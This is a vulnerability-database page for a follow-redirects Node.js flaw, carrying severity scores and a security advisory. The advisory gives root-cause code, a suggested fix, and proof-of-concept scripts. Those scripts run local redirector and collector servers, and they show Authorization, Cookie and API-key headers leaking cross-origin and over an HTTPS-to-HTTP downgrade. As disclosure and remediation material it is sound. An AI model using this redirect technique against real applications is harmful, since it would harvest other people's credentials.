CVE-2026-111756

highpriority · track · 0EPSS 0.004 · 29 %ileRUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.36% (29th) EPSS
CVSS 7.5 · high
Is it mine?
2 products
Check your exposure
Who says so?
2 sources
fstec_bdu · osv

EPSS · scored 2026-10-23

follow-redirects is a Node.js HTTP and HTTPS client wrapper that automatically follows redirects. From version 1.16.0 to before version 1.16.1, follow-redirects removes sensitive credential headers (Authorization, Proxy-Authorization, Cookie, and any caller-declared sensitiveHeaders) before following a redirect that crosses to a different host or downgrades to a less secure protocol. The removal routine iterates the caller's headers container with for...in and matches header names against a filter. This assumes the headers container is a plain object keyed by header names. Node's underlying http.request, which follow-redirects is a drop-in replacement for, also accepts headers as an alternating array of names and values. For an array, for...in yields the numeric indices "0", "1", "2" and so on, which never match a header-name filter, so nothing is removed. An application that sends array-form headers and follows an attacker-controlled cross-origin redirect therefore forwards its Authorization, Cookie, and Proxy-Authorization headers verbatim to the attacker-controlled destination, with no error or warning. The sensitiveHeaders option added to fix CVE-2026-40895 / GHSA-r4q5-vmmm-2653 is equally ineffective, because it relies on the same helper. This is an unauthenticated confidentiality vulnerability: any remote server the victim application contacts can harvest the victim's credential headers by responding with a cross-origin redirect. This issue has been patched in version 1.16.1.

01

cvss

Technical severity, 0–10. One row per scoring source.

8.2
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 4.6–8.2

v3.17.5highAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondary · FSTEC (BDU) RU
v4.08.2highCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com
v4.04.6mediumCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (2)

Products and version ranges known to be affected.

05

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-q3jh-wrc6-jgq8follow-redirects array-form headers bypass cross-origin credential stripping2026-10-20ghsa · osvUS

    ### Summary follow-redirects removes sensitive credential headers (Authorization, Proxy-Authorization, Cookie, and any caller-declared `sensitiveHeaders`) before following a redirect that crosses to a different host or downgrades to a less secure protocol. The removal routine iterates the caller's headers container with `for...in` and matches header names against a filter. This assumes the headers container is a plain object keyed by header names. Node's underlying `http.request`, which follow-redirects is a drop-in replacement for, also accepts headers as an alternating array of names and values. For an array, `for...in` yields the numeric indices `"0"`, `"1"`, `"2"` and so on, which never match a header-name filter, so nothing is removed. An application that sends array-form headers and follows an attacker-controlled cross-origin redirect therefore forwards its Authorization, Cookie, and Proxy-Authorization headers verbatim to the attacker-controlled destination, with no error or warning. The `sensitiveHeaders` option added to fix CVE-2026-40895 / GHSA-r4q5-vmmm-2653 is equally ineffective, because it relies on the same helper. This is an unauthenticated confidentiality vulnerability: any remote server the victim application contacts can harvest the victim's credential headers by responding with a cross-origin redirect. ### Details The cross-origin credential-stripping control is implemented by `removeMatchingHeaders(regex, headers)` at `index.js:630-640`: ```js function removeMatchingHeaders(regex, headers) { var lastValue; for (var header in headers) { // for...in over an ARRAY yields "0","1","2"... if (regex.test(header)) { // the header-name filter never matches a numeric index lastValue = headers[header]; delete headers[header]; } } return (lastValue === null || typeof lastValue === "undefined") ? undefined : String(lastValue).trim(); } ``` It is invoked from `_processResponse` for three purposes, all with the caller-supplied `this._options.headers`: - `index.js:490` - strip the credential filter (`this._headerFilter`, which covers the built-in list Authorization/Proxy-Authorization/Cookie plus any `sensitiveHeaders`) when the redirect crosses origin or downgrades protocol. - `index.js:470` - strip the `Host` header (`/^host$/i`). - `index.js:466` - strip `content-*` headers when a 301/302/303 converts POST to GET. The caller-supplied headers container is passed straight through to each redirected request via `nativeProtocol.request(this._options)` at `index.js:352`. `_sanitizeOptions` (index.js:300-331) only replaces `options.headers` when it is falsy, so an array is left untouched. Node's `http.request` accepts `options.headers` as an alternating array of names and values (for example `["Authorization", "Bearer ...", "Cookie", "session=..."]`). This is a supported way to control header ordering and duplication. For such an array, `for (var header in headers)` iterates the numeric indices `"0"`, `"1"`, `"2"`, and the header-name regex never matches any of them, so `removeMatchingHeaders` deletes nothing. Every one of the three strip operations above silently no-ops: - The built-in credential headers (Authorization, Cookie, Proxy-Authorization) are forwarded to the cross-origin redirect target. - Any `sensitiveHeaders` the caller declared are forwarded too. - The stale `Host` of the previous origin is re-sent to the new origin. - On a POST-to-GET redirect the `content-*` headers are retained, leaving `Content-Length` inconsistent with the now-empty body. The primary and highest-impact consequence is disclosure of credential headers. The stale `Host` re-send and the `Content-Length` inconsistency are secondary correctness defects arising from the same root cause. Root-cause history: the `for...in`-based `removeMatchingHeaders` used for the built-in credential strip has been present since the cross-host Authorization drop was introduced (commit `724087d`, first released in v1.11.0) and is unchanged through 1.16.0. The `sensitiveHeaders` layer was introduced in 1.16.0 (commit `844c4d3`). The behavior was verified directly on both 1.15.11 and 1.16.0. Suggested remediation: handle or explicitly reject Node's array-form headers. The strictest fix is to detect `Array.isArray(options.headers)` in `_sanitizeOptions` and throw a clear `TypeError` instructing callers to pass an object, so misuse fails loudly instead of silently downgrading security. If array support is desired, extend `removeMatchingHeaders` to walk the array in name/value pairs: ```js function removeMatchingHeaders(regex, headers) { if (Array.isArray(headers)) { var lastValue; for (var i = 0; i < headers.length; i += 2) { if (regex.test(headers[i])) { lastValue = headers[i + 1]; headers.splice(i, 2); i -= 2; } } return (lastValue === null || typeof lastValue === "undefined") ? undefined : String(lastValue).trim(); } // existing object logic } ``` Apply the same guard to the `Host` and `content-*` removal paths. Add regression tests that exercise array-form headers across a cross-origin redirect; the current suite only covers object-form headers. References: - https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653 - https://github.com/follow-redirects/follow-redirects/commit/724087d696c0bcd55c13ee0f3560c4558138e422 - https://github.com/follow-redirects/follow-redirects/commit/844c4d3 (sensitiveHeaders option) ### PoC Environment: Node.js v24.18.0 on Windows 11. The underlying Node array-header behavior is long-standing and not version-specific. Run each script from a checkout of follow-redirects at 1.16.0 so that `require("./index.js")` resolves to the library under test. Precondition check (Node accepts and serializes array-form headers): ``` node -e 'var http=require("http");var s=http.createServer((q,r)=>r.end(JSON.stringify(q.headers)));s.listen(0,"127.0.0.1",()=>{var p=s.address().port;http.request({hostname:"127.0.0.1",port:p,headers:["Authorization","Bearer T","Cookie","c=1"]},res=>{var b="";res.on("data",c=>b+=c);res.on("end",()=>{console.log(JSON.parse(b).authorization, JSON.parse(b).cookie);s.close();});}).end();});' ``` Observed: `Bearer T c=1` (the server receives both headers, confirming array form is valid and delivered). Minimal form (built-in credential list), `arrayleak.js`: ```js var followRedirects = require("./index.js"); var http = require("http"); var redirector = http.createServer(function (req, res) { req.resume(); res.writeHead(302, { Location: "http://127.0.0.1:47302/steal" }); // cross-origin (different port) res.end(); }); var collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); // attacker-controlled target }); redirector.listen(47301, "127.0.0.1", function () { collector.listen(47302, "127.0.0.1", function () { followRedirects.http.request({ hostname: "127.0.0.1", port: 47301, path: "/", method: "GET", headers: [ "Host", "127.0.0.1:47301", "Authorization", "Bearer ARRAY-FORM-VICTIM-TOKEN", "Cookie", "session=ARRAY-FORM-SESSION-ID", "X-Custom", "harmless" ] }, function (res) { var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () { var h = JSON.parse(body); console.log("Authorization :", h.authorization || "(stripped - OK)"); console.log("Cookie :", h.cookie || "(stripped - OK)"); redirector.close(); collector.close(); }); }).end(); }); }); ``` Observed output (1.16.0 and 1.15.11): ``` Authorization : Bearer ARRAY-FORM-VICTIM-TOKEN <- credential LEAKED cross-origin Cookie : session=ARRAY-FORM-SESSION-ID <- credential LEAKED cross-origin ``` Control: replacing `headers` with the equivalent object `{ Host: ..., Authorization: ..., Cookie: ... }` and re-running strips both correctly, proving the strip branch executes and only the array iteration defeats it. Combined form (built-in list plus the 1.16.0 `sensitiveHeaders` fix, all defeated in one request), `combined.js`: ```js var followRedirects = require("./index.js"); var http = require("http"); var redirector = http.createServer(function (req, res) { req.resume(); res.writeHead(302, { Location: "http://127.0.0.1:47402/steal" }); res.end(); }); var collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); }); redirector.listen(47401, "127.0.0.1", function () { collector.listen(47402, "127.0.0.1", function () { followRedirects.http.request({ hostname: "127.0.0.1", port: 47401, path: "/", method: "GET", headers: [ "Host", "127.0.0.1:47401", "Authorization", "Bearer BUILTIN-VICTIM-TOKEN", "Cookie", "session=BUILTIN-SESSION-ID", "X-API-Key", "DECLARED-VICTIM-KEY" ], sensitiveHeaders: ["X-API-Key"] }, function (res) { var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () { var h = JSON.parse(body); console.log("Authorization (built-in list) :", h.authorization || "(stripped - OK)"); console.log("Cookie (built-in list) :", h.cookie || "(stripped - OK)"); console.log("X-API-Key (sensitiveHeaders) :", h["x-api-key"] || "(stripped - OK)"); redirector.close(); collector.close(); }); }).end(); }); }); ``` Observed output (1.16.0): ``` Authorization (built-in list) : Bearer BUILTIN-VICTIM-TOKEN <- LEAKED Cookie (built-in list) : session=BUILTIN-SESSION-ID <- LEAKED X-API-Key (sensitiveHeaders) : DECLARED-VICTIM-KEY <- LEAKED (the CVE-2026-40895 fix defeated) ``` Protocol-downgrade branch (credentials transit in cleartext), `downgrade.js`, using the repository's own test certificate at `test/assets/`: ```js var followRedirects = require("./index.js"); var http = require("http"); var https = require("https"); var fs = require("fs"); var opts = { key: fs.readFileSync("test/assets/localhost.key"), cert: fs.readFileSync("test/assets/localhost.crt") }; var ca = fs.readFileSync("test/assets/ca.crt"); var httpsOrigin = https.createServer(opts, function (req, res) { req.resume(); res.writeHead(302, { Location: "http://localhost:47502/steal" }); res.end(); }); var httpCollector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); }); httpsOrigin.listen(47501, "localhost", function () { httpCollector.listen(47502, "localhost", function () { followRedirects.https.request({ hostname: "localhost", port: 47501, path: "/", method: "GET", ca: ca, headers: ["Host", "localhost:47501", "Authorization", "Bearer DOWNGRADE-TOKEN", "Cookie", "session=DOWNGRADE-SESSION"] }, function (res) { var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () { var h = JSON.parse(body); console.log("Authorization :", h.authorization || "(stripped - OK)"); console.log("Cookie :", h.cookie || "(stripped - OK)"); httpsOrigin.close(); httpCollector.close(); }); }).end(); }); }); ``` Observed output (1.16.0): both credentials received at the plaintext HTTP target after an HTTPS-to-HTTP redirect, meaning they transit unencrypted and are harvestable by any on-path network observer, not only the redirect destination. Side-effect verification (stale Host re-sent, Content-Length inconsistent): a POST request with array-form headers and a 13-byte body that receives a 302 to a different origin was observed to arrive at the new origin as a GET carrying the stale `Host` of the first origin and `Content-Length: 13` despite an empty body. ### Impact This is an information-disclosure vulnerability: silent failure of the cross-origin credential-header stripping control. Who is impacted: any application, or upstream library, that calls follow-redirects with Node's array-form headers (used to control header ordering or duplication) and follows a redirect whose target is controlled or compromised by an attacker. When triggered, the victim's Authorization, Cookie, and Proxy-Authorization headers, and any headers declared through the `sensitiveHeaders` option, are disclosed to the attacker-controlled destination. In the protocol-downgrade case the credentials additionally traverse the network in cleartext, exposing them to on-path observers. No authentication or user interaction is required of the attacker beyond controlling a redirect target the victim already contacts. The control that is defeated is the same one that prior advisories in this library (CVE-2022-0155, CVE-2022-0536, CVE-2026-40895 / GHSA-r4q5-vmmm-2653) were issued to establish and harden.

06

also known as (2)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-10-20modified 2026-10-23
08

references (3) nvd

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan